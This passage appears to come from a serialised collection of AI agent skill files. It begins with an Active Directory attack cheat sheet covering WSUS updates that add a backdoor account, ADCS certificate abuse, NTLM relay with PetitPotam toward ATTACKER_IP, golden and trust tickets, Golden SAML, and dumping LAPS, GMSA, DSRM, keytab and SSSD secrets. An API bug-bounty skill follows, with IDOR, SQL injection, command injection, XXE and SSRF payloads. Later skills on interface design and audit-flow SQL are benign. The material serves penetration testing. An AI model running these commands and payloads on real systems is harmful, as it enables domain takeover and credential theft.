/assignmentname:update\r\n\r\n# Force checkin\r\nMalSCCM.exe checkin /groupname:TargetGroup\r\n\r\n# Cleanup\r\nMalSCCM.exe app /cleanup /name:backdoor\r\nMalSCCM.exe group /delete /groupname:TargetGroup\r\n```\r\n\r\n### SCCM Network Access Accounts\r\n\r\n```powershell\r\n# Find SCCM blob\r\nGet-Wmiobject -namespace \"root\\ccm\\policy\\Machine\\ActualConfig\" -class \"CCM_NetworkAccessAccount\"\r\n\r\n# Decrypt with SharpSCCM\r\n.\\SharpSCCM.exe get naa -u USERNAME -p PASSWORD\r\n```\r\n\r\n### WSUS Deployment Attack\r\n\r\n```bash\r\n# Using SharpWSUS\r\nSharpWSUS.exe locate\r\nSharpWSUS.exe inspect\r\n\r\n# Create malicious update\r\nSharpWSUS.exe create /payload:\"C:\\psexec.exe\" /args:\"-accepteula -s -d cmd.exe /c \\\"net user backdoor Password123! /add\\\"\" /title:\"Critical Update\"\r\n\r\n# Deploy to target\r\nSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n\r\n# Check status\r\nSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local\r\n\r\n# Cleanup\r\nSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n```\r\n\r\n---\r\n\r\n## AD Certificate Services (ADCS)\r\n\r\n### ESC1 - Misconfigured Templates\r\n\r\nTemplate allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.\r\n\r\n```bash\r\n# Find vulnerable templates\r\ncertipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable\r\n\r\n# Request certificate as admin\r\ncertipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local\r\n\r\n# Authenticate\r\ncertipy auth -pfx administrator.pfx -dc-ip DC_IP\r\n```\r\n\r\n### ESC4 - ACL Vulnerabilities\r\n\r\n```python\r\n# Check for WriteProperty\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl\r\n\r\n# Add ENROLLEE_SUPPLIES_SUBJECT flag\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\r\n\r\n# Perform ESC1, then restore\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag\r\n```\r\n\r\n### ESC8 - NTLM Relay to Web Enrollment\r\n\r\n```bash\r\n# Start relay\r\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\r\n\r\n# Coerce authentication\r\npython3 petitpotam.py ATTACKER_IP DC_IP\r\n\r\n# Use certificate\r\nRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt\r\n```\r\n\r\n### Shadow Credentials\r\n\r\n```bash\r\n# Add Key Credential (pyWhisker)\r\npython3 pywhisker.py -d \"domain.local\" -u \"user1\" -p \"password\" --target \"TARGET\" --action add\r\n\r\n# Get TGT with PKINIT\r\npython3 gettgtpkinit.py -cert-pfx \"cert.pfx\" -pfx-pass \"password\" \"domain.local/TARGET\" target.ccache\r\n\r\n# Get NT hash\r\nexport KRB5CCNAME=target.ccache\r\npython3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET\r\n```\r\n\r\n---\r\n\r\n## Trust Relationship Attacks\r\n\r\n### Child to Parent Domain (SID History)\r\n\r\n```powershell\r\n# Get Enterprise Admins SID from parent\r\n$ParentSID = \"S-1-5-21-PARENT-DOMAIN-SID-519\"\r\n\r\n# Create Golden Ticket with SID History\r\nkerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt\r\n```\r\n\r\n### Forest to Forest (Trust Ticket)\r\n\r\n```bash\r\n# Dump trust key\r\nlsadump::trust /patch\r\n\r\n# Forge inter-realm TGT\r\nkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi\r\n\r\n# Use trust ticket\r\n.\\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt\r\n```\r\n\r\n---\r\n\r\n## ADFS Golden SAML\r\n\r\n**Requirements:**\r\n- ADFS service account access\r\n- Token signing certificate (PFX + decryption password)\r\n\r\n```bash\r\n# Dump with ADFSDump\r\n.\\ADFSDump.exe\r\n\r\n# Forge SAML token\r\npython ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local\r\n```\r\n\r\n---\r\n\r\n## Credential Sources\r\n\r\n### LAPS Password\r\n\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'\r\n\r\n# CrackMapExec\r\ncrackmapexec ldap DC_IP -u user -p password -M laps\r\n```\r\n\r\n### GMSA Password\r\n\r\n```powershell\r\n# PowerShell + DSInternals\r\n$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'\r\n$mp = $gmsa.'msDS-ManagedPassword'\r\nConvertFrom-ADManagedPasswordBlob $mp\r\n```\r\n\r\n```bash\r\n# Linux with bloodyAD\r\npython bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword\r\n```\r\n\r\n### Group Policy Preferences (GPP)\r\n\r\n```bash\r\n# Find in SYSVOL\r\nfindstr /S /I cpassword \\\\domain.local\\sysvol\\domain.local\\policies\\*.xml\r\n\r\n# Decrypt\r\npython3 Get-GPPPassword.py -no-pass 'DC_IP'\r\n```\r\n\r\n### DSRM Credentials\r\n\r\n```powershell\r\n# Dump DSRM hash\r\nInvoke-Mimikatz -Command '\"token::elevate\" \"lsadump::sam\"'\r\n\r\n# Enable DSRM admin logon\r\nSet-ItemProperty \"HKLM:\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\" -name DsrmAdminLogonBehavior -value 2\r\n```\r\n\r\n---\r\n\r\n## Linux AD Integration\r\n\r\n### CCACHE Ticket Reuse\r\n\r\n```bash\r\n# Find tickets\r\nls /tmp/ | grep krb5cc\r\n\r\n# Use ticket\r\nexport KRB5CCNAME=/tmp/krb5cc_1000\r\n```\r\n\r\n### Extract from Keytab\r\n\r\n```bash\r\n# List keys\r\nklist -k /etc/krb5.keytab\r\n\r\n# Extract with KeyTabExtract\r\npython3 keytabextract.py /etc/krb5.keytab\r\n```\r\n\r\n### Extract from SSSD\r\n\r\n```bash\r\n# Database location\r\n/var/lib/sss/secrets/secrets.ldb\r\n\r\n# Key location\r\n/var/lib/sss/secrets/.secrets.mkey\r\n\r\n# Extract\r\npython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey\r\n```\r\n","skills/api-fuzzing-bug-bounty/SKILL.md":"---\nname: api-fuzzing-bug-bounty\ndescription: This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs/Prerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST/GraphQL/SOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs/Deliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON/XML/URL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger/OpenAPI documentation\n/swagger.json\n/openapi.json\n/api-docs\n/v1/api-docs\n/swagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https://target.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n/api/mobile/login\n/api/v3/login\n/api/magic_link\n/api/admin/login\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET /api/users/1234 → GET /api/users/1235\n\n# Even if ID is email-based, try numeric\n/?user_id=111 instead of /?user_id=user@mail.com\n\n# Test /me/orders vs /user/654321/orders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=<LEGIT>&id=<VICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n/api/get_profile?user_id=<victim>&user_id=<legit>\n{\"user_id\":<legit_id>,\"user_id\":<victim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com/endpoint?name=file.txt;ls%20/\n```\n\n**XXE Injection:**\n\n```xml\n<!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n<object data=\"http://127.0.0.1:8443\"/>\n<img src=\"http://127.0.0.1:445\"/>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps://example.org/download?filename=a.png\nhttps://example.org/download?filename=C:\\inetpub\\wwwroot\\web.config\nhttps://example.org/download?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET /api/v1/users/1\nPOST /api/v1/users/1\nPUT /api/v1/users/1\nDELETE /api/v1/users/1\nPATCH /api/v1/users/1\n\n# Switch content type\nContent-Type: application/json → application/xml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n/graphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL/NoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp://target.com/graphql?query={user(name:\"<script>alert(1)</script>\"){id}}\n\n# URL-encoded XSS\nhttp://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403/401, try these bypasses:\n\n```bash\n# Original blocked request\n/api/v1/users/sensitivedata → 403\n\n# Bypass attempts\n/api/v1/users/sensitivedata.json\n/api/v1/users/sensitivedata?\n/api/v1/users/sensitivedata/\n/api/v1/users/sensitivedata??\n/api/v1/users/sensitivedata%20\n/api/v1/users/sensitivedata%09\n/api/v1/users/sensitivedata#\n/api/v1/users/sensitivedata&details\n/api/v1/users/..;/sensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n<!-- LFI via PDF export -->\n<iframe src=\"file:///etc/passwd\" height=1000 width=800>\n\n<!-- SSRF via PDF export -->\n<object data=\"http://127.0.0.1:8443\"/>\n\n<!-- Port scanning -->\n<img src=\"http://127.0.0.1:445\"/>\n\n<!-- IP disclosure -->\n<img src=\"https://iplogger.com/yourcode.gif\"/>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n/api/news?limit=100\n\n# DoS attempt\n/api/news?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys/tokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR / BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin/debug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON/XML |\n| HTTP Method Tampering | GET→DELETE/PUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls /` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |\n| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |\n| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |\n| API Security | apicheck | github.com/BBVA/apicheck |\n| API Discovery | Kiterunner | github.com/assetnote/kiterunner |\n| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |\n| API Toolkit | APIKit | github.com/API-Security/APIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com/doyensec/inql |\n| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |\n| GraphQL | graphw00f | github.com/dolevf/graphw00f |\n| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |\n| GraphQL | batchql | github.com/assetnote/batchql |\n| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |\n| Wordlists | SecLists | github.com/danielmiessler/SecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |\n| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |\n| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |\n| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (/v1, /v2, /v3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET /api/v1/invoices/12345\nAuthorization: Bearer <token>\n\n# Modified request (other user's data)\nGET /api/v1/invoices/12346\nAuthorization: Bearer <token>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https://target.com/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n","skills/api-shape-explorer/SKILL.md":"---\nname: api-shape-explorer\ndescription: Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\".\n---\n\n# Design an Interface\n\nBased on \"Design It Twice\" from \"A Philosophy of Software Design\": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare.\n\n## Workflow\n\n### 1. Gather Requirements\n\nBefore designing, understand:\n\n- [ ] What problem does this module solve?\n- [ ] Who are the callers? (other modules, external users, tests)\n- [ ] What are the key operations?\n- [ ] Any constraints? (performance, compatibility, existing patterns)\n- [ ] What should be hidden inside vs exposed?\n\nAsk: \"What does this module need to do? Who will use it?\"\n\n### 2. Generate Designs (Parallel Sub-Agents)\n\nSpawn 3+ sub-agents simultaneously using Task tool. Each must produce a **radically different** approach.\n\n```\nPrompt template for each sub-agent:\n\nDesign an interface for: [module description]\n\nRequirements: [gathered requirements]\n\nConstraints for this design: [assign a different constraint to each agent]\n- Agent 1: \"Minimize method count - aim for 1-3 methods max\"\n- Agent 2: \"Maximize flexibility - support many use cases\"\n- Agent 3: \"Optimize for the most common case\"\n- Agent 4: \"Take inspiration from [specific paradigm/library]\"\n\nOutput format:\n1. Interface signature (types/methods)\n2. Usage example (how caller uses it)\n3. What this design hides internally\n4. Trade-offs of this approach\n```\n\n### 3. Present Designs\n\nShow each design with:\n\n1. **Interface signature** - types, methods, params\n2. **Usage examples** - how callers actually use it in practice\n3. **What it hides** - complexity kept internal\n\nPresent designs sequentially so user can absorb each approach before comparison.\n\n### 4. Compare Designs\n\nAfter showing all designs, compare them on:\n\n- **Interface simplicity**: fewer methods, simpler params\n- **General-purpose vs specialized**: flexibility vs focus\n- **Implementation efficiency**: does shape allow efficient internals?\n- **Depth**: small interface hiding significant complexity (good) vs large interface with thin implementation (bad)\n- **Ease of correct use** vs **ease of misuse**\n\nDiscuss trade-offs in prose, not tables. Highlight where designs diverge most.\n\n### 5. Synthesize\n\nOften the best design combines insights from multiple options. Ask:\n\n- \"Which design best fits your primary use case?\"\n- \"Any elements from other designs worth incorporating?\"\n\n## Evaluation Criteria\n\nFrom \"A Philosophy of Software Design\":\n\n**Interface simplicity**: Fewer methods, simpler params = easier to learn and use correctly.\n\n**General-purpose**: Can handle future use cases without changes. But beware over-generalization.\n\n**Implementation efficiency**: Does interface shape allow efficient implementation? Or force awkward internals?\n\n**Depth**: Small interface hiding significant complexity = deep module (good). Large interface with thin implementation = shallow module (avoid).\n\n## Anti-Patterns\n\n- Don't let sub-agents produce similar designs - enforce radical difference\n- Don't skip comparison - the value is in contrast\n- Don't implement - this is purely about interface shape\n- Don't evaluate based on implementation effort\n","skills/audit-flow/COMMANDS.md":"# Audit Flow Commands\n\nDetailed SQL commands for the audit-flow skill.\n\n**CRITICAL: Read `schema.sql` before running ANY SQLite command.** Understand tables, columns, constraints, CHECK values, and views FIRST. Never assume schema from context.\n\n## Database Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py init\n# Or manually:\nmkdir -p .audit && sqlite3 .audit/audit.db < .claude/skills/audit-flow/schema.sql\n```\n\n## Session Management\n\n### Create Session\n\nFirst capture git context:\n\n```bash\ngit_commit=$(git rev-parse HEAD 2>/dev/null || echo \"\")\ngit_branch=$(git branch --show-current 2>/dev/null || echo \"\")\ngit_dirty=$(test -n \"$(git status --porcelain 2>/dev/null)\" && echo 1 || echo 0)\n```\n\nThen create session:\n\n```sql\nINSERT INTO sessions (id, name, purpose, description, granularity, git_commit, git_branch, git_dirty)\nVALUES (\n    lower(hex(randomblob(8))),\n    '{name}',\n    '{purpose}',  -- security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\n    '{description}',\n    '{granularity}',  -- fine | coarse\n    '{git_commit}',\n    '{git_branch}',\n    {git_dirty}  -- 0 or 1\n);\n```\n\n### List Sessions\n\n```sql\nSELECT * FROM v_session_summary ORDER BY created_at DESC;\n```\n\n## Flow Management\n\n### Create Flow\n\n```sql\nINSERT INTO flows (session_id, name, entry_point, description)\nVALUES (\n    '{session_id}',\n    '{flow-name}',\n    '{entry point description}',\n    '{optional description}'\n);\n```\n\n### List Flows in Session\n\n```sql\nSELECT * FROM v_flow_summary WHERE session_id = '{session_id}';\n```\n\n## Tuple Operations\n\n### Add Tuple\n\n```sql\nINSERT INTO tuples (flow_id, layer, action, subject, file_ref, props, notes, status)\nVALUES (\n    {flow_id},\n    '{layer}',      -- CODE | API | NETWORK | AUTH | DATA\n    '{action}',     -- e.g., \"onClick handler\"\n    '{subject}',    -- e.g., \"LoginButton\"\n    '{file_ref}',   -- e.g., \"src/components/LoginButton.tsx:24\"\n    '{}',           -- JSON props\n    '{notes}',\n    'traced'        -- traced | verified | concern | deleted\n);\n```\n\n### View Tuples\n\n```sql\n-- All tuples in flow\nSELECT id, layer, action, subject, file_ref, status\nFROM tuples WHERE flow_id = {flow_id} AND status != 'deleted'\nORDER BY timestamp;\n\n-- Filter by layer\nSELECT * FROM tuples WHERE flow_id = {flow_id} AND layer = 'AUTH';\n\n-- View concerns\nSELECT * FROM v_concerns WHERE flow_name = '{flow_name}';\n```\n\n### Update Tuple Status\n\n```sql\nUPDATE tuples SET status = 'concern' WHERE id = {id};\nUPDATE tuples SET status = 'deleted' WHERE id = {id};  -- Soft delete\n```\n\n## Edge Operations\n\n### Linear Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({from_id}, {to_id}, '{relation}');\n-- Relations: TRIGGERS | READS | WRITES | VALIDATES | TRANSFORMS\n```\n\n### Branching Edge (with condition)\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES\n    ({branch_point}, {path_a}, 'BRANCHES', 'condition A'),\n    ({branch_point}, {path_b}, 'BRANCHES', 'condition B');\n```\n\n### Merging Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({converging_tuple}, {merge_point}, 'MERGES');\n```\n\n### View Edges\n\n```sql\nSELECT e.*, t1.action as from_action, t2.action as to_action\nFROM edges e\nJOIN tuples t1 ON e.from_tuple = t1.id\nJOIN tuples t2 ON e.to_tuple = t2.id\nWHERE t1.flow_id = {flow_id};\n```\n\n### Detect Non-Linear Points\n\n```sql\nSELECT * FROM v_branch_merge_points WHERE flow_name = '{flow_name}';\n```\n\n## Findings\n\n### Add Finding\n\n```sql\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    '{session_id}',\n    {flow_id},      -- Optional: NULL for session-level finding\n    '{severity}',   -- critical | high | medium | low | info\n    '{category}',   -- e.g., \"token-storage\", \"auth-bypass\"\n    '{description}',\n    '[1, 2, 3]'     -- JSON array of tuple IDs\n);\n```\n\n### View Findings\n\n```sql\n-- By severity\nSELECT * FROM findings WHERE session_id = '{session_id}'\nORDER BY CASE severity\n    WHEN 'critical' THEN 1 WHEN 'high' THEN 2\n    WHEN 'medium' THEN 3 WHEN 'low' THEN 4 ELSE 5\nEND;\n\n-- Flow-specific findings\nSELECT * FROM findings WHERE flow_id = {flow_id};\n```\n\n## Export\n\n### Using CLI\n\n```bash\n# Export all flows in session\npython .claude/skills/audit-flow/scripts/audit.py export {session}\n\n# Export specific flow\npython .claude/skills/audit-flow/scripts/audit.py export {session} -f {flow}\n\n# Export specific format\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n```\n\n## Validation\n\n### Validate Flow Data\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py validate {session}\n```\n\nChecks for common issues before export:\n\n| Check             | Level | Description                                  |\n| ----------------- | ----- | -------------------------------------------- |\n| Branch conditions | ERROR | BRANCHES edges must have condition labels    |\n| Orphan nodes      | WARN  | Nodes with no edges (disconnected from flow) |\n| Duplicate labels  | WARN  | Multiple nodes with same action text         |\n| Node count > 40   | WARN  | Diagram readability threshold                |\n| Node count > 60   | ERROR | Diagram must be split into sub-flows         |\n| No entry point    | WARN  | No node with zero in-degree                  |\n\n### Output Structure\n\n```\ndocs/audits/{session-name}/\n├── README.md           # Session summary\n├── session.json        # Full session data\n├── session.yaml        # Full session data (YAML)\n├── {flow-name}.md      # Flow report\n└── {flow-name}.mermaid # Flow diagram\n```\n\n### Mermaid Output Features\n\n- **Step numbering**: Topological BFS order from entry point\n- **Entry point marker**: Green stadium-shape node (`([label]):::entryPoint`)\n- **Layer subgraphs**: Nodes sorted by step number within each layer\n- **Relation-specific arrows**:\n  - `-->` solid: TRIGGERS, VALIDATES, TRANSFORMS, BRANCHES, MERGES\n  - `-.->` dotted: READS (data consumption, no mutation)\n  - `==>` thick: WRITES (data mutation)\n- **Observation separation**: Pure concern chains in OBSERVATIONS subgraph\n- **Branch conditions**: Always shown on edge labels\n- **Label deduplication**: Duplicate actions auto-suffixed with subject\n- **Legend**: Style key at bottom of diagram\n- **Direction**: Default TD, override with `--direction LR`\n\n### Export with Direction\n\n```bash\n# Default top-down\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n\n# Horizontal layout for wide decision trees\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid --direction LR\n```\n\nExample output:\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n    classDef observation fill:#ffd43b,stroke:#fab005,stroke-dasharray:5 5\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n        L3[\"Concern\"]:::concern\n    end\n```\n\n## Git Merge Driver\n\n### Setup (once per clone)\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nConfigures:\n\n- `merge.sqlite-audit.driver` — auto-merges `audit.db` on `git merge`\n- `diff.sqlite.textconv` — shows SQL dump in `git diff`\n\nRequires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How the merge driver works\n\nGit calls: `audit.py db-merge %O %A %B`\n\n- `%O` = common ancestor (unused — full union merge)\n- `%A` = ours (result written here)\n- `%B` = theirs\n\nThe driver:\n\n1. Opens both SQLite DBs directly\n2. Merges sessions by `name` (later `updated_at` wins)\n3. Flows follow parent session winner\n4. Tuples/edges follow parent flow\n5. Findings deduped by `(session_name, category, description)`\n6. All INTEGER PKs remapped; foreign keys updated\n7. Result written to `%A`, exit 0 = success\n\n### Manual merge (if needed)\n\n```bash\n# If the auto-driver fails (exit 1), merge manually:\npython .claude/skills/audit-flow/scripts/audit.py db-merge ancestor.db ours.db theirs.db\n```\n\n## CSV Backup (Optional)\n\nCSV commands still available for backup/portability:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # CSV → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge CSV sets\n```\n\nCSV uses `QUOTE_ALL`, deterministic PK sort, multiline-safe (RFC 4180).\n\n## Views Reference\n\n| View                    | Purpose                                 |\n| ----------------------- | --------------------------------------- |\n| `v_session_summary`     | Sessions with flow/tuple/finding counts |\n| `v_flow_summary`        | Flows with tuple/concern counts         |\n| `v_layer_distribution`  | Layer breakdown per flow                |\n| `v_concerns`            | All tuples marked as concern            |\n| `v_branch_merge_points` | Non-linear nodes (branches/merges)      |\n","skills/audit-flow/EXAMPLES.md":"# Audit Flow Examples\n\n## Case 0: Non-Linear API Flow (Branching & Merging)\n\n```\n> /audit-flow start\nName: 